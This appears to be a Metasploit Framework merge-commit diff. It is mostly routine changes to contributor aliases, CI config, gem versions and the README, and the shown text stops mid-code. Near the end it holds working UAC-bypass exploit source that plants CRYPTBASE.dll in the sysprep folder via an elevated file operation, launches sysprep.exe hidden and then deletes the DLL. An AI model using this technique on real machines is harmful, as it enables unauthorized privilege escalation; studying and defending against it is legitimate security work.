Merge pull request #57 from dmaloney-r7/feature/metaballs1/enum_ad_users

Feature/metaballs1/enum ad users
bug/bundler_fix
Meatballs1 2015-01-25 11:08:44 +00:00
commit 6b0de8cbf0
376 changed files with 23757 additions and 5001 deletions

View File

@ -1,30 +1,50 @@
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
joev-r7 <joev-r7@github> Joe Vennix <joev@metasploit.com>
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
joev-r7 <joev-r7@github> jvennix-r7 <Joe_Vennix@rapid7.com>
joev-r7 <joev-r7@github> jvennix-r7 <joev@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
mbuck-r7 <mbuck-r7@github> Matt Buck <Matthew_Buck@rapid7.com>
mbuck-r7 <mbuck-r7@github> Matt Buck <techpeace@gmail.com>
mschloesser-r7 <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
mschloesser-r7 <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
parzamendi-r7 <parzamendi-r7@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@ -34,10 +54,13 @@ wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
# let todb@metasploit.com know.
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
Brandon Perry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
Brandon Perry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com>
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com>
Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
@ -59,11 +82,13 @@ jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de>
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
@ -71,23 +96,30 @@ mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com>
ohdae <ohdae@github> ohdae <bindshell@live.com>
OJ <oj@github> OJ Reeves <oj@buffered.io>
OJ <oj@github> OJ <oj@buffered.io>
oj <oj@github> OJ <oj@buffered.io>
oj <oj@github> OJ Reeves <oj@buffered.io>
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
skape <skape@???> Matt Miller <mmiller@hick.org>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
timwr <timwr@github> Tim <timrlw@gmail.com>
timwr <timwr@github> Tim Wright <timrlw@gmail.com>
TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
# Aliases for utility author names. Since they're fake, typos abound
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>

View File

@ -1 +1 @@
1.9.3-p551
2.1.5

View File

@ -1,20 +1,18 @@
bundler_args: --without coverage development pcap
cache: bundler
env:
- RAKE_TASK=cucumber
# Commenting out the boot tests due to chronic timeouts.
# - RAKE_TASK=cucumber:boot
- RAKE_TASK=spec SPEC_OPTS="--tag content"
- RAKE_TASK=spec SPEC_OPTS="--tag ~content"
- RAKE_TASKS="cucumber cucumber:boot"
- RAKE_TASKS=spec SPEC_OPTS="--tag content"
- RAKE_TASKS=spec SPEC_OPTS="--tag ~content"
language: ruby
matrix:
fast_finish: true
before_install:
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
- rake --version
- sudo apt-get update -qq
- sudo apt-get install -qq libpcap-dev
# Uncomment when we have fewer shipping msftidy warnings.
# Merge committers will still be checking, just not autofailing.
# See https://dev.metasploit.com/redmine/issues/8498
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
# - ls -la ./.git/hooks
# - ./.git/hooks/post-merge
@ -25,8 +23,8 @@ before_script:
- bundle exec rake db:migrate
script:
# fail build if db/schema.rb update is not committed
- git diff --exit-code && bundle exec rake $RAKE_TASK
- git diff --exit-code && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '1.9.3'
- '2.1'

View File

@ -57,7 +57,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Do** use the [many module mixin APIs](https://rapid7.github.io/metasploit-framework/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
#### Library Code

View File

@ -1,4 +1,4 @@
Copyright (C) 2006-2014, Rapid7, Inc.
Copyright (C) 2006-2015, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,

12
Gemfile
View File

@ -3,6 +3,14 @@ source 'https://rubygems.org'
# spec.add_runtime_dependency '<name>', [<version requirements>]
gemspec name: 'metasploit-framework'
# separate from test as simplecov is not run on travis-ci
group :coverage do
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov', '0.5.4', :require => false
end
group :db do
gemspec name: 'metasploit-framework-db'
end
@ -44,10 +52,6 @@ group :test do
# cucumber + automatic database cleaning with database_cleaner
gem 'cucumber-rails', :require => false
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov', '0.5.4', :require => false
# Manipulate Time.now in specs
gem 'timecop'
end

View File

@ -1,15 +1,15 @@
PATH
remote: .
specs:
metasploit-framework (4.10.1.pre.dev)
actionpack (< 4.0.0)
activesupport (>= 3.0.0, < 4.0.0)
metasploit-framework (4.11.0.pre.dev)
actionpack (>= 3.2.21, < 4.0.0)
activesupport (>= 3.2.21, < 4.0.0)
bcrypt
jsobfu (~> 0.2.0)
json
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
meterpreter_bins (= 0.0.12)
meterpreter_bins (= 0.0.13)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -20,26 +20,26 @@ PATH
rubyzip (~> 1.1)
sqlite3
tzinfo
metasploit-framework-db (4.10.1.pre.dev)
activerecord (< 4.0.0)
metasploit-credential (~> 0.13.7)
metasploit-framework (= 4.10.1.pre.dev)
metasploit_data_models (~> 0.21.1)
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.13.11)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.21.3)
pg (>= 0.11)
metasploit-framework-pcap (4.10.1.pre.dev)
metasploit-framework (= 4.10.1.pre.dev)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
network_interface (~> 0.0.1)
pcaprub
GEM
remote: https://rubygems.org/
specs:
actionmailer (3.2.19)
actionpack (= 3.2.19)
actionmailer (3.2.21)
actionpack (= 3.2.21)
mail (~> 2.5.4)
actionpack (3.2.19)
activemodel (= 3.2.19)
activesupport (= 3.2.19)
actionpack (3.2.21)
activemodel (= 3.2.21)
activesupport (= 3.2.21)
builder (~> 3.0.0)
erubis (~> 2.7.0)
journey (~> 1.0.4)
@ -47,18 +47,18 @@ GEM
rack-cache (~> 1.2)
rack-test (~> 0.6.1)
sprockets (~> 2.2.1)
activemodel (3.2.19)
activesupport (= 3.2.19)
activemodel (3.2.21)
activesupport (= 3.2.21)
builder (~> 3.0.0)
activerecord (3.2.19)
activemodel (= 3.2.19)
activesupport (= 3.2.19)
activerecord (3.2.21)
activemodel (= 3.2.21)
activesupport (= 3.2.21)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activeresource (3.2.19)
activemodel (= 3.2.19)
activesupport (= 3.2.19)
activesupport (3.2.19)
activeresource (3.2.21)
activemodel (= 3.2.21)
activesupport (= 3.2.21)
activesupport (3.2.21)
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.3)
@ -101,7 +101,7 @@ GEM
gherkin (2.11.6)
json (>= 1.7.6)
hike (1.2.3)
i18n (0.6.11)
i18n (0.7.0)
journey (1.0.4)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
@ -112,7 +112,7 @@ GEM
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.13.7)
metasploit-credential (0.13.11)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit_data_models (~> 0.21.0)
@ -123,7 +123,7 @@ GEM
metasploit-model (0.28.0)
activesupport
railties (< 4.0.0)
metasploit_data_models (0.21.2)
metasploit_data_models (0.21.3)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
@ -132,10 +132,10 @@ GEM
pg
railties (< 4.0.0)
recog (~> 1.0)
meterpreter_bins (0.0.12)
meterpreter_bins (0.0.13)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.1)
mini_portile (0.6.2)
msgpack (0.5.9)
multi_json (1.0.4)
network_interface (0.0.1)
@ -143,7 +143,7 @@ GEM
mini_portile (~> 0.6.0)
packetfu (1.1.9)
pcaprub (0.11.3)
pg (0.17.1)
pg (0.18.1)
polyglot (0.3.5)
pry (0.10.0)
coderay (~> 1.1.0)
@ -156,17 +156,17 @@ GEM
rack
rack-test (0.6.2)
rack (>= 1.0)
rails (3.2.19)
actionmailer (= 3.2.19)
actionpack (= 3.2.19)
activerecord (= 3.2.19)
activeresource (= 3.2.19)
activesupport (= 3.2.19)
rails (3.2.21)
actionmailer (= 3.2.21)
actionpack (= 3.2.21)
activerecord (= 3.2.21)
activeresource (= 3.2.21)
activesupport (= 3.2.21)
bundler (~> 1.0)
railties (= 3.2.19)
railties (3.2.19)
actionpack (= 3.2.19)
activesupport (= 3.2.19)
railties (= 3.2.21)
railties (3.2.21)
actionpack (= 3.2.21)
activesupport (= 3.2.21)
rack-ssl (~> 1.3.2)
rake (>= 0.8.7)
rdoc (~> 3.4)
@ -175,7 +175,7 @@ GEM
rb-readline (0.5.1)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.6)
recog (1.0.7)
nokogiri
redcarpet (3.1.2)
rkelly-remix (0.0.6)

View File

@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Source: http://www.metasploit.com/
Files: *
Copyright: 2006-2014, Rapid7, Inc.
Copyright: 2006-2015, Rapid7, Inc.
License: BSD-3-clause
# The Metasploit Framework is provided under the 3-clause BSD license provided

View File

@ -1,26 +1,18 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
The latest version of this software is available from http://metasploit.com/
The latest version of this software is available from https://metasploit.com/
Bug tracking and development information can be found at:
https://dev.metasploit.com/redmine/projects/framework/
The public GitHub source repository can be found at:
https://github.com/rapid7/metasploit-framework
API documentation for writing modules can be found at:
https://rapid7.github.io/metasploit-framework/api
Questions and suggestions can be sent to:
msfdev(at)metasploit.com
The framework mailing list is the place to discuss features and ask for help.
To subscribe, visit the following web page:
https://mail.metasploit.com/mailman/listinfo/framework
The mailing list archives are available from:
https://mail.metasploit.com/pipermail/framework/
https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
Installing
--
@ -34,10 +26,8 @@ Using Metasploit
--
Metasploit can do all sorts of things. The first thing you'll want to do
is start `msfconsole`, but after that, you'll probably be best served by
reading some of the great tutorials online:
* [Metasploit Unleashed][unleashed]
* [The official Metasploit wiki on Github][wiki-start]
reading [Metasploit Unleashed][unleashed], the [great community
resources](https://metasploit.github.io), or the [wiki].
Contributing
--
@ -48,6 +38,7 @@ pull request. For slightly more info, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
[wiki]: https://github.com/rapid7/metasploit-framework/wiki
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"

View File

@ -9,6 +9,7 @@ all_environments = [
Bundler.require(
*Rails.groups(
coverage: [:test],
db: all_environments,
pcap: all_environments
)
@ -33,6 +34,7 @@ module Metasploit
class Application < Rails::Application
include Metasploit::Framework::CommonEngine
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
end
end

File diff suppressed because it is too large Load Diff

Binary file not shown.

Binary file not shown.

View File

@ -920,7 +920,7 @@ function read($resource, $len=null) {
# whole php process will block waiting for data that may never come.
# Unfortunately, selecting on pipes created with proc_open on Windows
# always returns immediately. Basically, shell interaction in Windows
# is hosed until this gets figured out. See https://dev.metasploit.com/redmine/issues/2232
# is hosed until this gets figured out.
$r = Array($resource);
my_print("Calling select to see if there's data on $resource");
while (true) {

Binary file not shown.

Binary file not shown.

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20140922170030) do
ActiveRecord::Schema.define(:version => 20150106201450) do
create_table "api_keys", :force => true do |t|
t.text "token"

View File

@ -93,7 +93,7 @@
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
@ -132,7 +132,7 @@
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
<ClCompile Include="src\ReflectiveDll.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
<ClInclude Include="src\Exploit.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

175
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp vendored Normal file → Executable file
View File

@ -1,22 +1,15 @@
#include "ReflectiveLoader.h"
#include "Exploit.h"
void exploit()
{
#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
const wchar_t *sySysPrepExe = L"sysprep.exe";
const wchar_t *szElevDll = L"CRYPTBASE.dll";
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
wchar_t szElevDir[MAX_PATH] = {};
wchar_t szElevDir_syswow64[MAX_PATH] = {};
wchar_t szElevDllFull[MAX_PATH] = {};
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
wchar_t szElevExeFull[MAX_PATH] = {};
wchar_t path[MAX_PATH] = {};
wchar_t windir[MAX_PATH] = {};
extern "C" {
void exploit(BypassUacPaths const * const paths)
{
const wchar_t *szElevArgs = L"";
const wchar_t *szEIFOMoniker = NULL;
PVOID OldValue = NULL;
IFileOperation *pFileOp = NULL;
@ -24,59 +17,74 @@ void exploit()
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
BOOL bComInitialised = FALSE;
const IID *pIID_EIFO = &__uuidof(IFileOperation);
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
GetWindowsDirectoryW(windir, MAX_PATH);
GetTempPathW(MAX_PATH, path);
dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
/* %temp%\cryptbase.dll */
wcscat_s(path, MAX_PATH, szSourceDll);
do
{
if (CoInitialize(NULL) != S_OK)
{
dprintf("[BYPASSUACINJ] Failed to initialize COM");
break;
}
/* %windir%\System32\sysprep\ */
wcscat_s(szElevDir, MAX_PATH, windir);
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
bComInitialised = TRUE;
/* %windir%\sysnative\sysprep\ */
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
break;
}
/* %windir\system32\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
break;
}
/* %windir\sysnative\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
break;
}
/* %windir%\system32\sysprep\sysprep.exe */
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
break;
}
if (CoInitialize(NULL) == S_OK)
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
{
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
break;
}
/* Copy the DLL file to the target folder*/
if (pFileOp->PerformOperations() != S_OK)
{
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
{
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
{
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
{
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
{
/* Copy the DLL file to the sysprep folder*/
if (pFileOp->PerformOperations() == S_OK)
{
/* Execute sysprep.exe */
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
break;
}
/* Execute the target binary */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = szElevExeFull;
shinfo.lpFile = paths->szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = szElevDir;
shinfo.lpDirectory = paths->szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
@ -86,34 +94,65 @@ void exploit()
CloseHandle(shinfo.hProcess);
}
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
if (0 != pSHIDelete)
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
pFileOp->PerformOperations();
dprintf("[BYPASSUACINJ] Successfully deleted dll");
// bail out this point because we don't need to keep trying to delete
break;
}
SAFERELEASE(pSHIDelete);
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
if (0 != pSHIDelete)
